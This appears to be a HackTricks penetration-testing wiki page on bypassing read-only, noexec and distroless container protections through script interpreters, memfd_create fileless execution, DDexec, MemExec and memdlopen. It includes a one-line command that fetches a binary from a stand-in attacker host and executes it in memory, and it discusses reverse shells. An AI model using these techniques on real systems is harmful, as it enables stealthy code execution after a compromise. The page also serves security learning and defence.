// HackTricks · Linux

Bypass FS protections: read-only / no-exec / Distroless

Bypass FS protections: read-only / no-exec / Distroless

Videos

In the following videos you can find the techniques mentioned in this page explained more in depth:[1][2]

read-only / no-exec scenario

In a container, you can mount the root filesystem as read-only by setting readOnlyRootFilesystem: true in the security context.[3] For example:

apiVersion: v1
kind: Pod
metadata:
  name: alpine-pod
spec:
  containers:
  - name: alpine
    image: alpine
    securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

A read-only root does not make separately mounted volumes read-only. Docker treats /dev/shm as an IPC mount, while tmpfs options such as rw and noexec are runtime configuration choices; inspect the target container’s mount options before relying on either behavior.[4][5]

[!WARNING] From a red-team perspective, that combination can make it difficult to download and execute binaries that are not already available (for example, backdoors or enumeration tools).[4][5]

Easiest bypass: Scripts

A noexec mount blocks direct execution of binaries on that mount, but an interpreter can still read and interpret a script. If sh or python is present, you can therefore run a shell or Python script through that interpreter.[5]

This does not help when the required tool is itself a binary.[5]

Memory Bypasses

When direct execution from a mounted path is blocked, one option is to load the ELF into memory and execute it through an in-memory path. This avoids the noexec check on that mount, but does not remove other kernel, permission, or policy controls.[5][6]

FD + exec syscall bypass

If a scripting runtime can access the relevant Linux interface, it can create an anonymous, RAM-backed file descriptor with memfd_create(2), write the ELF bytes to it, and use an fd-backed execution path. The project fileless-elf-exec generates compressed and base64-encoded Python, Perl, or Ruby code for this workflow.[6][7]

The project currently documents Python, Perl, and Ruby targets; PHP or Node need a different runtime-specific technique or extension, so the absence of this generator for a language does not mean that in-memory execution is impossible.[6][12]

[!WARNING] A regular executable written to /dev/shm remains subject to that mount’s noexec setting; merely opening it through an ordinary file descriptor does not change the mount policy.[5]

The exact memory-execution method also depends on the runtime, architecture, kernel, and available permissions.[6][7][12]

DDexec / EverythingExec

DDexec / EverythingExec writes a stager and loader into the running shell process through /proc/self/mem, then transfers control to that code.[8]

This lets the process load a supplied binary without first placing that binary on an executable filesystem.[8]

[!TIP] DDexec / EverythingExec can load and execute shellcode or a binary from memory.[8]

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

For more information about this technique check the Github or:

Ddexec

MemExec

Memexec is a daemonized DDexec implementation. Its daemon listens for requests containing arguments and raw program bytes, forks a child to load and run each program, and keeps the parent as the server.[9]

The repository includes an example of using memexec to execute binaries from a PHP reverse shell in a.php.[9]

Memdlopen

With a similar purpose to DDexec, memdlopen is a fileless dlopen() implementation for a shared object or program. Its README currently documents ARM64 support, so check the target architecture before using it.[10]

Distroless Bypass

For a dedicated explanation of what distroless actually is, when it helps, when it does not, and how it changes post-exploitation tradecraft in containers, check:

Distroless

What is distroless

Distroless images contain only the application and its runtime dependencies; the official images omit package managers, shells, and other programs expected in a standard Linux distribution.[11]

Keeping the runtime image to those dependencies reduces the software present in production and the amount that must be scanned and tracked.[11]

Reverse Shell

In a distroless container you might not find sh or bash for a regular shell, nor common utilities such as ls, whoami, or id.[11]

[!WARNING] Therefore, a usual shell-based reverse shell or utility-based enumeration may not work.[11]

If the compromised application includes a language runtime (for example, Python for a Flask application or Node.js for a Node application), an RCE may still be able to use that runtime for a command channel and system inspection through its APIs.[11][12]

[!TIP] Use the available scripting language to enumerate the system through its language capabilities.[12]

If there are no read-only/no-exec protections, a command channel may write binaries to a writable, executable mount and run them; verify the mount options and permissions first.[4][5]

[!TIP] When these protections are present, use the memory-execution techniques above where the runtime, kernel, and permissions allow.[6][8][10]

You can find examples of exploiting RCE vulnerabilities to obtain scripting-language reverse shells and execute binaries from memory in DistrolessRCE.[12]

References